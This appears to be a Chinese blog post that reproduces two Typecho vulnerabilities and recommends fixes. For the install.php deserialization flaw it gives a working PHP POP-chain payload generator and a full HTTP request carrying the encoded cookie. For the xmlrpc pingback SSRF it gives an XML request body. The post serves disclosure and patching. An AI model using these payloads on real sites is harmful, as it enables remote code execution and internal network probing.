Typecho漏洞复现及修复

0x01 反序列化导致任意代码执行

install.php 230-234行

这里base64解码Cookie参数 __typecho_config 然后进行反序列化。但是我全局搜索了整个程序,除了install.php之外发现并没有__typecho_config在其他地方使用。结合大多数人的判断,这是Typecho开发者留下的后门。漏洞的利用需要反序列化结合POP链进行代码执行。

根据给出的exp.php,修改成poc,然后生成payload。

15行screenName处就是代码执行漏洞利用点,在此可以运行任意php语句。为了不影响网站运行,POC会在网站目录中生成poc.txt

<?php

class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array('screenName'=>'file_put_contents(\'poc.txt\', \'The site is not safe\')');
    private $_filter = array('assert');
}

$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));

拿到生成的payload,构造请求包。需要带referer

GET /install.php?finish=1 HTTP/1.1
Host: test.cc
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: http://test.cc/install.php
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTI6ImZpbGVfcHV0X2NvbnRlbnRzKCdwb2MudHh0JywgJ1RoZSBzaXRlIGlzIG5vdCBzYWZlJykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjc6InR5cGVjaG8iO30=

返回状态码500表示代码已经执行。poc.txt已经写入到web目录中

修复建议:

删除install.php及install目录

0x02 SSRF漏洞

WordPress爆出过xmlrpc漏洞,Typecho有很多借鉴WordPress,所以Typecho也存在此漏洞

xmlrpc这个接口是给第三方软件读写文章使用,且Typecho默认有该功能,并无设置选项

利用地址为/index.php/action/xmlrpc,POST提交Payload

<?xml version="1.0" encoding="utf-8"?>
<methodCall> 
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
        <string>http://127.0.0.1:2222</string>
      </value>
    </param>
    <param>
      <value>
        <string>joychou</string>
      </value>
    </param>
  </params>
</methodCall>

如果链接填的是你的网站,则可以接收到请求。

修复建议:

不建议用nginx匹配规则修复,容易被绕过。

如果不用第三方软件发文章,在/var/Widget/XmlRpc.php中加入exit();

如果需要使用xmlrpc,限制协议为HTTP/HTTPS,判断IP是否是内网,Curl.php和Socket.php都要修改

参考修复链接:https://gist.github.com/JoyChou93/

返回文章列表 文章二维码
本页链接的二维码
打赏二维码